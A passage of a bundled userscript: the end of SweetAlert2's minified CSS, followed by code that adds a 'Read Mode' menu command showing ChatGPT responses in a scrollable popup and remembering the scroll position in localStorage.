0}div:where(.swal2-container) div:where(.swal2-validation-message){align-items:center;justify-content:center;margin:1em 0 0;padding:.625em;overflow:hidden;background:#f0f0f0;color:#666;font-size:1em;font-weight:300}div:where(.swal2-container) div:where(.swal2-validation-message)::before{content:"!";display:inline-block;width:1.5em;min-width:1.5em;height:1.5em;margin:0 .625em;border-radius:50%;background-color:#f27474;color:#fff;font-weight:600;line-height:1.5em;text-align:center}div:where(.swal2-container) .swal2-progress-steps{flex-wrap:wrap;align-items:center;max-width:100%;margin:1.25em auto;padding:0;background:rgba(0,0,0,0);font-weight:600}div:where(.swal2-container) .swal2-progress-steps li{display:inline-block;position:relative}div:where(.swal2-container) .swal2-progress-steps .swal2-progress-step{z-index:20;flex-shrink:0;width:2em;height:2em;border-radius:2em;background:#2778c4;color:#fff;line-height:2em;text-align:center}div:where(.swal2-container) .swal2-progress-steps .swal2-progress-step.swal2-active-progress-step{background:#2778c4}div:where(.swal2-container) .swal2-progress-steps .swal2-progress-step.swal2-active-progress-step~.swal2-progress-step{background:#add8e6;color:#fff}div:where(.swal2-container) .swal2-progress-steps .swal2-progress-step.swal2-active-progress-step~.swal2-progress-step-line{background:#add8e6}div:where(.swal2-container) .swal2-progress-steps .swal2-progress-step-line{z-index:10;flex-shrink:0;width:2.5em;height:.4em;margin:0 -1px;background:#2778c4}div:where(.swal2-icon){position:relative;box-sizing:content-box;justify-content:center;width:5em;height:5em;margin:2.5em auto .6em;border:0.25em solid rgba(0,0,0,0);border-radius:50%;border-color:#000;font-family:inherit;line-height:5em;cursor:default;user-select:none}div:where(.swal2-icon) .swal2-icon-content{display:flex;align-items:center;font-size:3.75em}div:where(.swal2-icon).swal2-error{border-color:#f27474;color:#f27474}div:where(.swal2-icon).swal2-error .swal2-x-mark{position:relative;flex-grow:1}div:where(.swal2-icon).swal2-error [class^=swal2-x-mark-line]{display:block;position:absolute;top:2.3125em;width:2.9375em;height:.3125em;border-radius:.125em;background-color:#f27474}div:where(.swal2-icon).swal2-error [class^=swal2-x-mark-line][class$=left]{left:1.0625em;transform:rotate(45deg)}div:where(.swal2-icon).swal2-error [class^=swal2-x-mark-line][class$=right]{right:1em;transform:rotate(-45deg)}div:where(.swal2-icon).swal2-error.swal2-icon-show{animation:swal2-animate-error-icon .5s}div:where(.swal2-icon).swal2-error.swal2-icon-show .swal2-x-mark{animation:swal2-animate-error-x-mark .5s}div:where(.swal2-icon).swal2-warning{border-color:#facea8;color:#f8bb86}div:where(.swal2-icon).swal2-warning.swal2-icon-show{animation:swal2-animate-error-icon .5s}div:where(.swal2-icon).swal2-warning.swal2-icon-show .swal2-icon-content{animation:swal2-animate-i-mark .5s}div:where(.swal2-icon).swal2-info{border-color:#9de0f6;color:#3fc3ee}div:where(.swal2-icon).swal2-info.swal2-icon-show{animation:swal2-animate-error-icon .5s}div:where(.swal2-icon).swal2-info.swal2-icon-show .swal2-icon-content{animation:swal2-animate-i-mark .8s}div:where(.swal2-icon).swal2-question{border-color:#c9dae1;color:#87adbd}div:where(.swal2-icon).swal2-question.swal2-icon-show{animation:swal2-animate-error-icon .5s}div:where(.swal2-icon).swal2-question.swal2-icon-show .swal2-icon-content{animation:swal2-animate-question-mark .8s}div:where(.swal2-icon).swal2-success{border-color:#a5dc86;color:#a5dc86}div:where(.swal2-icon).swal2-success [class^=swal2-success-circular-line]{position:absolute;width:3.75em;height:7.5em;transform:rotate(45deg);border-radius:50%}div:where(.swal2-icon).swal2-success [class^=swal2-success-circular-line][class$=left]{top:-0.4375em;left:-2.0635em;transform:rotate(-45deg);transform-origin:3.75em 3.75em;border-radius:7.5em 0 0 7.5em}div:where(.swal2-icon).swal2-success [class^=swal2-success-circular-line][class$=right]{top:-0.6875em;left:1.875em;transform:rotate(-45deg);transform-origin:0 3.75em;border-radius:0 7.5em 7.5em 0}div:where(.swal2-icon).swal2-success .swal2-success-ring{position:absolute;z-index:2;top:-0.25em;left:-0.25em;box-sizing:content-box;width:100%;height:100%;border:.25em solid rgba(165,220,134,.3);border-radius:50%}div:where(.swal2-icon).swal2-success .swal2-success-fix{position:absolute;z-index:1;top:.5em;left:1.625em;width:.4375em;height:5.625em;transform:rotate(-45deg)}div:where(.swal2-icon).swal2-success [class^=swal2-success-line]{display:block;position:absolute;z-index:2;height:.3125em;border-radius:.125em;background-color:#a5dc86}div:where(.swal2-icon).swal2-success [class^=swal2-success-line][class$=tip]{top:2.875em;left:.8125em;width:1.5625em;transform:rotate(45deg)}div:where(.swal2-icon).swal2-success [class^=swal2-success-line][class$=long]{top:2.375em;right:.5em;width:2.9375em;transform:rotate(-45deg)}div:where(.swal2-icon).swal2-success.swal2-icon-show .swal2-success-line-tip{animation:swal2-animate-success-line-tip .75s}div:where(.swal2-icon).swal2-success.swal2-icon-show .swal2-success-line-long{animation:swal2-animate-success-line-long .75s}div:where(.swal2-icon).swal2-success.swal2-icon-show .swal2-success-circular-line-right{animation:swal2-rotate-success-circular-line 4.25s ease-in}[class^=swal2]{-webkit-tap-highlight-color:rgba(0,0,0,0)}.swal2-show{animation:swal2-show .3s}.swal2-hide{animation:swal2-hide .15s forwards}.swal2-noanimation{transition:none}.swal2-scrollbar-measure{position:absolute;top:-9999px;width:50px;height:50px;overflow:scroll}.swal2-rtl .swal2-close{margin-right:initial;margin-left:0}.swal2-rtl .swal2-timer-progress-bar{right:0;left:auto}@keyframes swal2-toast-show{0%{transform:translateY(-0.625em) rotateZ(2deg)}33%{transform:translateY(0) rotateZ(-2deg)}66%{transform:translateY(0.3125em) rotateZ(2deg)}100%{transform:translateY(0) rotateZ(0deg)}}@keyframes swal2-toast-hide{100%{transform:rotateZ(1deg);opacity:0}}@keyframes swal2-toast-animate-success-line-tip{0%{top:.5625em;left:.0625em;width:0}54%{top:.125em;left:.125em;width:0}70%{top:.625em;left:-0.25em;width:1.625em}84%{top:1.0625em;left:.75em;width:.5em}100%{top:1.125em;left:.1875em;width:.75em}}@keyframes swal2-toast-animate-success-line-long{0%{top:1.625em;right:1.375em;width:0}65%{top:1.25em;right:.9375em;width:0}84%{top:.9375em;right:0;width:1.125em}100%{top:.9375em;right:.1875em;width:1.375em}}@keyframes swal2-show{0%{transform:scale(0.7)}45%{transform:scale(1.05)}80%{transform:scale(0.95)}100%{transform:scale(1)}}@keyframes swal2-hide{0%{transform:scale(1);opacity:1}100%{transform:scale(0.5);opacity:0}}@keyframes swal2-animate-success-line-tip{0%{top:1.1875em;left:.0625em;width:0}54%{top:1.0625em;left:.125em;width:0}70%{top:2.1875em;left:-0.375em;width:3.125em}84%{top:3em;left:1.3125em;width:1.0625em}100%{top:2.8125em;left:.8125em;width:1.5625em}}@keyframes swal2-animate-success-line-long{0%{top:3.375em;right:2.875em;width:0}65%{top:3.375em;right:2.875em;width:0}84%{top:2.1875em;right:0;width:3.4375em}100%{top:2.375em;right:.5em;width:2.9375em}}@keyframes swal2-rotate-success-circular-line{0%{transform:rotate(-45deg)}5%{transform:rotate(-45deg)}12%{transform:rotate(-405deg)}100%{transform:rotate(-405deg)}}@keyframes swal2-animate-error-x-mark{0%{margin-top:1.625em;transform:scale(0.4);opacity:0}50%{margin-top:1.625em;transform:scale(0.4);opacity:0}80%{margin-top:-0.375em;transform:scale(1.15)}100%{margin-top:0;transform:scale(1);opacity:1}}@keyframes swal2-animate-error-icon{0%{transform:rotateX(100deg);opacity:0}100%{transform:rotateX(0deg);opacity:1}}@keyframes swal2-rotate-loading{0%{transform:rotate(0deg)}100%{transform:rotate(360deg)}}@keyframes swal2-animate-question-mark{0%{transform:rotateY(-360deg)}100%{transform:rotateY(0)}}@keyframes swal2-animate-i-mark{0%{transform:rotateZ(45deg);opacity:0}25%{transform:rotateZ(-25deg);opacity:.4}50%{transform:rotateZ(15deg);opacity:.8}75%{transform:rotateZ(-5deg);opacity:1}100%{transform:rotateX(0);opacity:1}}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown){overflow:hidden}body.swal2-height-auto{height:auto !important}body.swal2-no-backdrop .swal2-container{background-color:rgba(0,0,0,0) !important;pointer-events:none}body.swal2-no-backdrop .swal2-container .swal2-popup{pointer-events:all}body.swal2-no-backdrop .swal2-container .swal2-modal{box-shadow:0 0 10px rgba(0,0,0,.4)}@media print{body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown){overflow-y:scroll !important}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown)>[aria-hidden=true]{display:none}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown) .swal2-container{position:static !important}}body.swal2-toast-shown .swal2-container{box-sizing:border-box;width:360px;max-width:100%;background-color:rgba(0,0,0,0);pointer-events:none}body.swal2-toast-shown .swal2-container.swal2-top{inset:0 auto auto 50%;transform:translateX(-50%)}body.swal2-toast-shown .swal2-container.swal2-top-end,body.swal2-toast-shown .swal2-container.swal2-top-right{inset:0 0 auto auto}body.swal2-toast-shown .swal2-container.swal2-top-start,body.swal2-toast-shown .swal2-container.swal2-top-left{inset:0 auto auto 0}body.swal2-toast-shown .swal2-container.swal2-center-start,body.swal2-toast-shown .swal2-container.swal2-center-left{inset:50% auto auto 0;transform:translateY(-50%)}body.swal2-toast-shown .swal2-container.swal2-center{inset:50% auto auto 50%;transform:translate(-50%, -50%)}body.swal2-toast-shown .swal2-container.swal2-center-end,body.swal2-toast-shown .swal2-container.swal2-center-right{inset:50% 0 auto auto;transform:translateY(-50%)}body.swal2-toast-shown .swal2-container.swal2-bottom-start,body.swal2-toast-shown .swal2-container.swal2-bottom-left{inset:auto auto 0 0}body.swal2-toast-shown .swal2-container.swal2-bottom{inset:auto auto 0 50%;transform:translateX(-50%)}body.swal2-toast-shown .swal2-container.swal2-bottom-end,body.swal2-toast-shown .swal2-container.swal2-bottom-right{inset:auto 0 0 auto}');
  3083. }
  3084. });
  3085.  
  3086. // src/index.ts
  3087. var import_chatgpt = __toESM(require_chatgpt2(), 1);
  3088.  
  3089. // ../../packages/page-button/dist/index.mjs
  3090. var import_sweetalert2 = __toESM(require_sweetalert2_all(), 1);
  3091. function displayHTML(html) {
  3092. return __async(this, null, function* () {
  3093. let screenWidth = window.innerWidth || document.documentElement.clientWidth || document.body.clientWidth;
  3094. let swalWidth = screenWidth < 800 ? "80%" : "800px";
  3095. if (!document.head.querySelector("#readModeStyle")) {
  3096. let style = document.createElement("style");
  3097. style.type = "text/css";
  3098. style.id = "readModeStyle";
  3099. style.innerHTML = `
  3100. .text-left { text-align: left !important; }
  3101. .scrollable { max-height: 90vh; overflow-y: auto; }
  3102. `;
  3103. document.head.appendChild(style);
  3104. }
  3105. import_sweetalert2.default.fire({
  3106. title: "",
  3107. html: html.join("<br />"),
  3108. width: swalWidth,
  3109. padding: "0em",
  3110. background: "#fff",
  3111. backdrop: "rgba(128,128,128,0.4)",
  3112. showConfirmButton: false,
  3113. showClass: { popup: "", backdrop: "" },
  3114. customClass: { htmlContainer: "text-left scrollable swal-font" },
  3115. willClose: () => {
  3116. const scrollable = document.querySelector(".scrollable");
  3117. if (scrollable) {
  3118. localStorage.setItem("scrollPos" + window.location.href, `${scrollable.scrollTop}`);
  3119. }
  3120. },
  3121. didOpen: () => {
  3122. const scrollable = document.querySelector(".scrollable");
  3123. if (scrollable) {
  3124. scrollable.scrollTop = parseInt(localStorage.getItem("scrollPos" + window.location.href) || "0");
  3125. }
  3126. }
  3127. });
  3128. });
  3129. }
  3130.  
  3131. // src/index.ts
  3132. function initialize() {
  3133. return __async(this, null, function* () {
  3134. yield new Promise((r) => window.addEventListener("load", r));
  3135. yield new Promise((r) => setTimeout(r, 1e3));
  3136. });
  3137. }
  3138. (() => __async(void 0, null, function* () {
  3139. yield initialize();
  3140. function displayReadMode() {
  3141. let html = (0, import_chatgpt.getResponseElementHTMLs)();
  3142. if (html.length === 0) {
  3143. html = ["<p>No responses available.</p>"];
  3144. }
  3145. displayHTML(html);
  3146. }
  3147. GM_registerMenuCommand("\u{1F4D6} Read Mode", displayReadMode);
  3148. }))();
  3149. })();
  3150. /*! Bundled license information:
  3151.  
  3152. sweetalert2/dist/sweetalert2.all.js:
  3153. (*!
  3154. * sweetalert2 v11.7.18
  3155. * Released under the MIT License.
  3156. *)
  3157. */